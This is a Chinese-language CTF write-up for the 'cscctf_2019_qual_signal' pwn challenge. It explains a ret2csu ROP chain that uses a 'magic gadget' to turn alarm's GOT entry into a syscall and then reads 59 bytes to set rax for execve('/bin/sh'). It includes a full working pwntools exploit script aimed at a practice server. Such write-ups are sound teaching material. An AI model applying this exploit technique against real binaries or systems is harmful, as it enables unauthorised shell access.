ret2csu
magic gadget
alarm
函数的结构思路整体上参考了这篇师傅的文章。
检查程序,有如下特点:
libc
地址alarm
函数ret2csu
的gadget
可以使用有了ret2csu
,便可以控制大多数寄存器,并调用任何程序中存在的函数。但没有libc
地址,我们难以执行可以获取shell
的函数,因此这里考虑使用系统调用来完成,而我们并没有syscall
可以使用。
而alarm
函数有一个特点,它可以通过偏移来获取一个syscall
,如下所示:
因此,若我们能让alarm
函数的got
表的值加上5
,便可以通过调用alarm
函数来获得一个syscall
。
这个部分,我们采用magic gadget
来实现。这个magic gadget
为:
0x0000000000400618 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
通过这个gadget
,我们可以往[rbp - 0x3d]
的地方加上ebx
的值,而这些都是csu
中可控的。
到这里我们就有了实现一个execve('/bin/sh\x00', 0, 0)
的系统调用的大部分内容,即:
syscall
的执行rdi rsi rdx
的控制(使用ret2csu
)而最后一个内存也就是rax
的寄存器的控制了,而rax
的值实际上是某些函数的返回值。
因此我们可以通过csu
来完成向bss
来read
一个长度为59
的字符串,即可让rax
的值为59
。
到这里我们就可以执行execve('/bin/sh\x00', 0, 0)
的系统调用来获得shell
了。
from pwn import *
from LibcSearcher import *
filename = './cscctf_2019_qual_signal'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libc
if local:
sh = process(filename)
else:
sh = remote('node5.buuoj.cn', 27560)
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
front_addr = 0x400730
end_addr = 0x40074a
magic_addr= 0x400618
bss_addr = 0x601100
pop_rdi = 0x400753
pop_rsi_r15_addr = 0x400751
def csu(edi, rsi, rdx, func_addr, rbx, rbp, r12, r13, r14, r15, final_func):
'''
edi = r13d
rsi = r14
rdx = r15
rbx = 0
rbp = 1
'''
payload = p64(end_addr)
payload += p64(0) + p64(1) + p64(func_addr) + p64(edi) + p64(rsi) + p64(rdx)
payload += p64(front_addr)
payload += p64(0) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(final_func)
return payload
def control(rbx, rbp, r12, r13, r14, r15):
payload = p64(end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
return payload
'''
0x0000000000400618 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
'''
offset = b'a'*0x108
payload = offset + control(5, elf.got['alarm'] + 0x3d, 0, 0, 0, 0) + p64(magic_addr)
payload += csu(0, bss_addr, 0x100, elf.got['read'], 0, 1, 0, 0, 0, 0, end_addr) + p64(0) + p64(0) + p64(elf.got['alarm']) + p64(bss_addr) + p64(0) + p64(0) + p64(front_addr)
# debug()
sh.send(payload)
# pause()
payload = b'/bin/sh\x00'.ljust(59, b'a')
sh.send(payload)
# pause()
sh.interactive()